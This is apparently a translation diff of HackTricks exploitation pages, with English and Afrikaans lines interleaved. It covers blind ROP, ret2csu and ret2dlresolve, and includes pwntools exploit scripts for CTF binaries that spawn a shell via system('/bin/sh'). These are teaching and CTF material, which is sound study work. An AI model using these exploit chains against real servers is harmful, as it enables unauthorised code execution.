- **Ret2Syscall**: Gebruik ROP om 'n oproep na 'n syscall, bv. `execve`, voor te berei en dit te laat uitvoer arbitrêre opdragte.
{{#ref}}
rop-syscall-execv/
{{#endref}}
- **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP).
- **EBP2Ret & EBP Ketting**: Die eerste sal EBP misbruik in plaas van EIP om die vloei te beheer en die tweede is soortgelyk aan Ret2lib, maar in hierdie geval word die vloei hoofsaaklik met EBP-adresse beheer (alhoewel dit ook nodig is om EIP te beheer).
{{#ref}}
../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
{{#endref}}
## Other Examples & References
## Ander Voorbeelde & Verwysings
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
- 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag
- 64 bit, Pie en nx geaktiveer, geen kanarie, oorskry RIP met 'n `vsyscall` adres met die uitsluitlike doel om na die volgende adres in die stapel te keer wat 'n gedeeltelike oorskryding van die adres sal wees om die deel van die funksie te kry wat die vlag lek.
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
- arm64, geen ASLR, ROP gadget om stapel uitvoerbaar te maak en na shellcode in die stapel te spring.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,123 +2,123 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
The goal of this attack is to be able to **abuse a ROP via a buffer overflow without any information about the vulnerable binary**.\
This attack is based on the following scenario:
Die doel van hierdie aanval is om in staat te wees om **'n ROP te misbruik via 'n buffer overflow sonder enige inligting oor die kwesbare binêre**.\
Hierdie aanval is gebaseer op die volgende scenario:
- A stack vulnerability and knowledge of how to trigger it.
- A server application that restarts after a crash.
- 'n Stapel kwesbaarheid en kennis van hoe om dit te aktiveer.
- 'n Bediener toepassing wat herbegin na 'n ongeluk.
## Attack
## Aanval
### **1. Find vulnerable offset** sending one more character until a malfunction of the server is detected
### **1. Vind kwesbare offset** deur een meer karakter te stuur totdat 'n wanfunksie van die bediener opgespoor word
### **2. Brute-force canary** to leak it
### **2. Brute-force canary** om dit te lek
### **3. Brute-force stored RBP and RIP** addresses in the stack to leak them
### **3. Brute-force gestoor RBP en RIP** adresse in die stapel om hulle te lek
You can find more information about these processes [here (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) and [here (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
Jy kan meer inligting oor hierdie prosesse [hier (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) en [hier (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md) vind.
### **4. Find the stop gadget**
### **4. Vind die stop gadget**
This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that **stops the execution** and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed
Hierdie gadget laat basies toe om te bevestig dat iets interessant deur die ROP gadget uitgevoer is omdat die uitvoering nie gecrash het nie. Gewoonlik gaan hierdie gadget iets wees wat **die uitvoering stop** en dit is aan die einde van die ROP ketting wanneer daar na ROP gadgets gesoek word om te bevestig dat 'n spesifieke ROP gadget uitgevoer is.
### **5. Find BROP gadget**
### **5. Vind BROP gadget**
This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**:
Hierdie tegniek gebruik die [**ret2csu**](ret2csu.md) gadget. En dit is omdat as jy toegang tot hierdie gadget in die middel van sommige instruksies kry, jy gadgets kry om **`rsi`** en **`rdi`** te beheer:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
These would be the gadgets:
Hierdie sou die gadgets wees:
- `pop rsi; pop r15; ret`
- `pop rdi; ret`
Notice how with those gadgets it's possible to **control 2 arguments** of a function to call.
Let op hoe dit met daardie gadgets moontlik is om **2 argumente** van 'n funksie te beheer.
Also, notice that the ret2csu gadget has a **very unique signature** because it's going to be poping 6 registers from the stack. SO sending a chain like:
Ook, let op dat die ret2csu gadget 'n **baie unieke handtekening** het omdat dit 6 registers van die stapel gaan pop. SO om 'n ketting soos:
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP` te stuur.
If the **STOP is executed**, this basically means an **address that is popping 6 registers** from the stack was used. Or that the address used was also a STOP address.
As die **STOP uitgevoer word**, beteken dit basies dat 'n **adres wat 6 registers** van die stapel pop, gebruik is. Of dat die adres wat gebruik is ook 'n STOP adres was.
In order to **remove this last option** a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers:
Om hierdie **laaste opsie** te verwyder, word 'n nuwe ketting soos die volgende uitgevoer en dit mag nie die STOP gadget uitvoer om te bevestig dat die vorige een 6 registers gepop het nie:
`'A' * offset + canary + rbp + ADDR`
Knowing the address of the ret2csu gadget, it's possible to **infer the address of the gadgets to control `rsi` and `rdi`**.
As jy die adres van die ret2csu gadget ken, is dit moontlik om die **adres van die gadgets om `rsi` en `rdi` te beheer** af te lei.
### 6. Find PLT
### 6. Vind PLT
The PLT table can be searched from 0x400000 or from the **leaked RIP address** from the stack (if **PIE** is being used). The **entries** of the table are **separated by 16B** (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the **PLT + 6B also doesn't crash** as it's the first code executed.
Die PLT tabel kan van 0x400000 of van die **gelek RIP adres** van die stapel gesoek word (as **PIE** gebruik word). Die **ingevoerde** van die tabel is **geskei deur 16B** (0x10B), en wanneer 'n funksie aangeroep word, crash die bediener nie selfs al is die argumente nie korrek nie. Ook, om die adres van 'n invoer in die **PLT + 6B te kontroleer, crash dit ook nie** aangesien dit die eerste kode is wat uitgevoer word.
Therefore, it's possible to find the PLT table checking the following behaviours:
Daarom is dit moontlik om die PLT tabel te vind deur die volgende gedrag te kontroleer:
- `'A' * offset + canary + rbp + ADDR + STOP` -> no crash
- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no crash
- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no crash
- `'A' * offset + canary + rbp + ADDR + STOP` -> geen crash
- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> geen crash
- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> geen crash
### 7. Finding strcmp
### 7. Vind strcmp
The **`strcmp`** function sets the register **`rdx`** to the length of the string being compared. Note that **`rdx`** is the **third argument** and we need it to be **bigger than 0** in order to later use `write` to leak the program.
Die **`strcmp`** funksie stel die register **`rdx`** op die lengte van die string wat vergelyk word. Let daarop dat **`rdx`** die **derde argument** is en ons dit nodig het om **groter as 0** te wees om later `write` te gebruik om die program te lek.
It's possible to find the location of **`strcmp`** in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions:
Dit is moontlik om die ligging van **`strcmp`** in die PLT te vind gebaseer op sy gedrag deur die feit dat ons nou die 2 eerste argumente van funksies kan beheer:
- strcmp(\<non read addr>, \<non read addr>) -> crash
- strcmp(\<non read addr>, \<read addr>) -> crash
- strcmp(\<read addr>, \<non read addr>) -> crash
- strcmp(\<read addr>, \<read addr>) -> no crash
- strcmp(\<read addr>, \<read addr>) -> geen crash
It's possible to check for this by calling each entry of the PLT table or by using the **PLT slow path** which basically consist on **calling an entry in the PLT table + 0xb** (which calls to **`dlresolve`**) followed in the stack by the **entry number one wishes to probe** (starting at zero) to scan all PLT entries from the first one:
Dit is moontlik om dit te kontroleer deur elke invoer van die PLT tabel aan te roep of deur die **PLT stadige pad** te gebruik wat basies bestaan uit **'n invoer in die PLT tabel + 0xb** (wat na **`dlresolve`** roep) gevolg in die stapel deur die **invoernommer wat jy wil toets** (begin by nul) om al die PLT invoere vanaf die eerste een te skandeer:
- strcmp(\<non read addr>, \<read addr>) -> crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Will crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Sal crash
- strcmp(\<read addr>, \<non read addr>) -> crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<read addr>, \<read addr>) -> no crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<read addr>, \<read addr>) -> geen crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
Remember that:
Onthou dat:
- BROP + 0x7 point to **`pop RSI; pop R15; ret;`**
- BROP + 0x9 point to **`pop RDI; ret;`**
- PLT + 0xb point to a call to **dl_resolve**.
- BROP + 0x7 dui op **`pop RSI; pop R15; ret;`**
- BROP + 0x9 dui op **`pop RDI; ret;`**
- PLT + 0xb dui op 'n oproep na **dl_resolve**.
Having found `strcmp` it's possible to set **`rdx`** to a value bigger than 0.
Nadat `strcmp` gevind is, is dit moontlik om **`rdx`** op 'n waarde groter as 0 te stel.
> [!TIP]
> Note that usually `rdx` will host already a value bigger than 0, so this step might not be necesary.
> Let daarop dat gewoonlik `rdx` reeds 'n waarde groter as 0 sal hê, so hierdie stap mag dalk nie nodig wees nie.
### 8. Finding Write or equivalent
### 8. Vind Write of gelykwaardig
Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to **control 2 arguments and set `rdx` bigger than 0.**
Laastens, is 'n gadget nodig wat data uit die program kan verwyder om die binêre te verwyder. En op hierdie oomblik is dit moontlik om **2 argumente te beheer en `rdx` groter as 0 te stel.**
There are 3 common funtions taht could be abused for this:
Daar is 3 algemene funksies wat vir hierdie doel misbruik kan word:
- `puts(data)`
- `dprintf(fd, data)`
- `write(fd, data, len(data)`
However, the original paper only mentions the **`write`** one, so lets talk about it:
Echter, die oorspronklike artikel noem slegs die **`write`** een, so kom ons praat daaroor:
The current problem is that we don't know **where the write function is inside the PLT** and we don't know **a fd number to send the data to our socket**.
Die huidige probleem is dat ons nie weet **waar die write funksie binne die PLT is nie** en ons weet nie **'n fd nommer om die data na ons soket te stuur nie**.
However, we know **where the PLT table is** and it's possible to find write based on its **behaviour**. And we can create **several connections** with the server an d use a **high FD** hoping that it matches some of our connections.
Echter, ons weet **waar die PLT tabel is** en dit is moontlik om write te vind gebaseer op sy **gedrag**. En ons kan **verskeie verbindings** met die bediener maak en 'n **hoë FD** gebruik in die hoop dat dit met sommige van ons verbindings ooreenstem.
Behaviour signatures to find those functions:
Gedrag handtekeninge om daardie funksies te vind:
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then puts was found
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then dprintf was found
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then write was found
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, dan is puts gevind
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, dan is dprintf gevind
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, dan is write gevind
## Automatic Exploitation
## Outomatiese Exploitatie
- [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
## References
## Verwysings
- Original paper: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
- Oorspronklike artikel: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,18 +4,17 @@
##
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basiese Inligting
**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior.
**ret2csu** is 'n hacking tegniek wat gebruik word wanneer jy probeer om beheer oor 'n program te neem, maar nie die **gadgets** kan vind wat jy gewoonlik gebruik om die program se gedrag te manipuleer nie.
When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`.
Wanneer 'n program sekere biblioteke (soos libc) gebruik, het dit 'n paar ingeboude funksies om te bestuur hoe verskillende stukke van die program met mekaar kommunikeer. Onder hierdie funksies is daar 'n paar verborge juwele wat as ons ontbrekende gadgets kan optree, veral een genaamd `__libc_csu_init`.
### The Magic Gadgets in \_\_libc_csu_init
### Die Magiese Gadgets in \_\_libc_csu_init
In **`__libc_csu_init`**, there are two sequences of instructions (gadgets) to highlight:
1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later.
In **`__libc_csu_init`** is daar twee reekse instruksies (gadgets) om te beklemtoon:
1. Die eerste reeks laat ons toe om waardes in verskeie registers (rbx, rbp, r12, r13, r14, r15) op te stel. Hierdie is soos slots waar ons nommers of adresse kan stoor wat ons later wil gebruik.
```armasm
pop rbx;
pop rbp;
@ -25,22 +24,18 @@ pop r14;
pop r15;
ret;
```
Hierdie toestel laat ons toe om hierdie registers te beheer deur waardes van die stapel in hulle te pop.
This gadget allows us to control these registers by popping values off the stack into them.
2. The second sequence uses the values we set up to do a couple of things:
- **Move specific values into other registers**, making them ready for us to use as parameters in functions.
- **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8.
2. Die tweede reeks gebruik die waardes wat ons opgestel het om 'n paar dinge te doen:
- **Beweeg spesifieke waardes in ander registers**, wat hulle gereed maak vir ons om as parameters in funksies te gebruik.
- **Voer 'n oproep uit na 'n ligging** wat bepaal word deur die waardes in r15 en rbx bymekaar te tel, en dan rbx met 8 te vermenigvuldig.
```armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
3. Maybe you don't know any address to write there and you **need a `ret` instruction**. Note that the second gadget will also **end in a `ret`**, but you will need to meet some **conditions** in order to reach it:
3. Miskien weet jy nie van enige adres om daar te skryf nie en jy **het 'n `ret` instruksie nodig**. Let daarop dat die tweede gadget ook **sal eindig in 'n `ret`**, maar jy sal aan sekere **voorwaardes** moet voldoen om dit te bereik:
```armasm
mov rdx, r15;
mov rsi, r14;
@ -52,50 +47,46 @@ jnz <func>
...
ret
```
Die voorwaardes sal wees:
The conditions will be:
- `[r12 + rbx*8]` must be pointing to an address storing a callable function (if no idea and no pie, you can just use `_init` func):
- If \_init is at `0x400560`, use GEF to search for a pointer in memory to it and make `[r12 + rbx*8]` be the address with the pointer to \_init:
- `[r12 + rbx*8]` moet na 'n adres wys wat 'n aanroepbare funksie stoor (as daar geen idee en geen pie is nie, kan jy net die `_init` funksie gebruik):
- As \_init by `0x400560` is, gebruik GEF om 'n wysser in geheue daarna te soek en maak `[r12 + rbx*8]` die adres met die wysser na \_init:
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
```
- `rbp` en `rbx` moet die selfde waarde hê om die sprong te vermy
- Daar is 'n paar weggelate pops wat jy in ag moet neem
- `rbp` and `rbx` must have the same value to avoid the jump
- There are some omitted pops you need to take into account
## RDI en RSI
## RDI and RSI
Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets:
Nog 'n manier om **`rdi`** en **`rsi`** vanaf die ret2csu gadget te beheer, is deur toegang te verkry tot spesifieke offsets:
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Check this page for more info:
Kyk na hierdie bladsy vir meer inligting:
{{#ref}}
brop-blind-return-oriented-programming.md
{{#endref}}
## Example
## Voorbeeld
### Using the call
### Gebruik die oproep
Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any.
Stel jou voor jy wil 'n syscall maak of 'n funksie soos `write()` aanroep, maar jy het spesifieke waardes in die `rdx` en `rsi` registers as parameters nodig. Normaalweg sou jy soek na gadgets wat hierdie registers direk stel, maar jy kan nie enige vind nie.
Here's where **ret2csu** comes into play:
Hier kom **ret2csu** in die spel:
1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15.
2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`.
You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used:
1. **Stel die Registers Op**: Gebruik die eerste magiese gadget om waardes van die stapel af te pop en in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), en r15 te plaas.
2. **Gebruik die Tweede Gadget**: Met daardie registers ingestel, gebruik jy die tweede gadget. Dit laat jou toe om jou gekose waardes in `rdx` en `rsi` (van r14 en r13, onderskeidelik) te beweeg, wat parameters vir 'n funksie-aanroep voorberei. Boonop, deur `r15` en `rbx` te beheer, kan jy die program dwing om 'n funksie aan te roep wat geleë is by die adres wat jy bereken en in `[r15 + rbx*8]` plaas.
Jy het 'n [**voorbeeld wat hierdie tegniek gebruik en dit hier verduidelik**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), en dit is die finale uitbuiting wat dit gebruik het:
```python
from pwn import *
@ -119,14 +110,12 @@ p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
> [!WARNING]
> Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called **`win`** (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`.
> Let daarop dat die vorige exploit nie bedoel is om 'n **`RCE`** te doen nie, dit is bedoel om net 'n funksie genaamd **`win`** aan te roep (wat die adres van `win` van stdin wat gets in die ROP-ketting aanroep en dit in r15 stoor) met 'n derde argument met die waarde `0xdeadbeefcafed00d`.
### Bypassing the call and reaching ret
The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call:
### Om die oproep te omseil en `ret` te bereik
Die volgende exploit is onttrek [**van hierdie bladsy**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) waar die **ret2csu** gebruik word, maar in plaas daarvan om die oproep te gebruik, is dit **die vergelykings te omseil en die `ret` te bereik** na die oproep:
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@ -176,9 +165,8 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
### Hoekom Nie Net libc Direk Gebruik Nie?
### Why Not Just Use libc Directly?
Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**.
Gewoonlik is hierdie gevalle ook kwesbaar vir [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), maar soms moet jy meer parameters beheer as wat maklik beheer kan word met die gadgets wat jy direk in libc vind. Byvoorbeeld, die `write()` funksie vereis drie parameters, en **om gadgets te vind om al hierdie direk in te stel mag dalk nie moontlik wees nie**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,38 +2,37 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**.
Soos verduidelik op die bladsy oor [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) en [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries sonder Volle Relro sal simbole (soos adresse na eksterne biblioteke) die eerste keer wat hulle gebruik word, oplos. Hierdie oplosproses gebeur deur die funksie **`_dl_runtime_resolve`** aan te roep.
The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol.
Die **`_dl_runtime_resolve`** funksie neem vanaf die stapel verwysings na 'n paar strukture wat dit nodig het om die gespesifiseerde simbool te **resolveer**.
Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**).
Daarom is dit moontlik om **al hierdie strukture te vervals** om die dinamies gekoppelde simbool (soos die **`system`** funksie) te laat oplos en dit met 'n geconfigureerde parameter aan te roep (bv. **`system('/bin/sh')`**).
Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`.
Gewoonlik word al hierdie strukture vervals deur 'n **begin ROP-ketting wat `read` oor 'n skryfbare geheue aanroep** te maak, dan word die **strukture** en die string **`'/bin/sh'`** oorgedra sodat dit deur `read` in 'n bekende ligging gestoor word, en dan gaan die ROP-ketting voort deur **`_dl_runtime_resolve`** aan te roep, wat die **adres van `system`** in die vervalste strukture oplos en **hierdie adres** aanroep met die adres na `$'/bin/sh'`.
> [!TIP]
> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses.
> Hierdie tegniek is veral nuttig as daar nie syscall gadgets is (om tegnieke soos [**ret2syscall**](rop-syscall-execv/) of [SROP](srop-sigreturn-oriented-programming/)) te gebruik nie en daar nie maniere is om libc adresse te lek nie.
Chek this video for a nice explanation about this technique in the second half of the video:
Kyk na hierdie video vir 'n goeie verduideliking oor hierdie tegniek in die tweede helfte van die video:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
Or check these pages for a step-by-step explanation:
Of kyk na hierdie bladsye vir 'n stap-vir-stap verduideliking:
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
## Attack Summary
## Aanval Samevatting
1. Write fake estructures in some place
2. Set the first argument of system (`$rdi = &'/bin/sh'`)
3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`**
4. **Call** `_dl_runtime_resolve`
5. **`system`** will be resolved and called with `'/bin/sh'` as argument
From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like:
1. Skryf vervalste strukture in 'n plek
2. Stel die eerste argument van system (`$rdi = &'/bin/sh'`)
3. Stel die adresse na die strukture op die stapel om **`_dl_runtime_resolve`** aan te roep
4. **Roep** `_dl_runtime_resolve` aan
5. **`system`** sal opgelos word en met `'/bin/sh'` as argument aangeroep word
Van die [**pwntools dokumentasie**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), so lyk 'n **`ret2dlresolve`** aanval:
```python
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
@ -53,13 +52,11 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
0x0040: 0x4003e0 [plt_init] system
0x0048: 0x15670 [dlresolve index]
```
## Example
## Voorbeeld
### Pure Pwntools
You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:
Jy kan 'n [**voorbeeld van hierdie tegniek hier**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **vind wat 'n baie goeie verduideliking van die finale ROP-ketting bevat**, maar hier is die finale eksploit wat gebruik is:
```python
from pwn import *
@ -81,9 +78,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re
p.interactive()
```
### Raw
### Rou
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
@ -186,12 +181,11 @@ target.send(paylaod2)
# Enjoy the shell!
target.interactive()
```
## Other Examples & References
## Ander Voorbeelde & Verwysings
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
- 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`.
- 32bit, geen relro, geen canary, nx, geen pie, basiese klein buffer overflow en terugkeer. Om dit te benut, word die bof gebruik om `read` weer aan te roep met 'n `.bss` afdeling en 'n groter grootte, om daarin die `dlresolve` vals tabelles te stoor om `system` te laai, terug te keer na hoof en die aanvanklike bof weer te misbruik om dlresolve aan te roep en dan `system('/bin/sh')`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,27 +4,24 @@
## **Ret2esp**
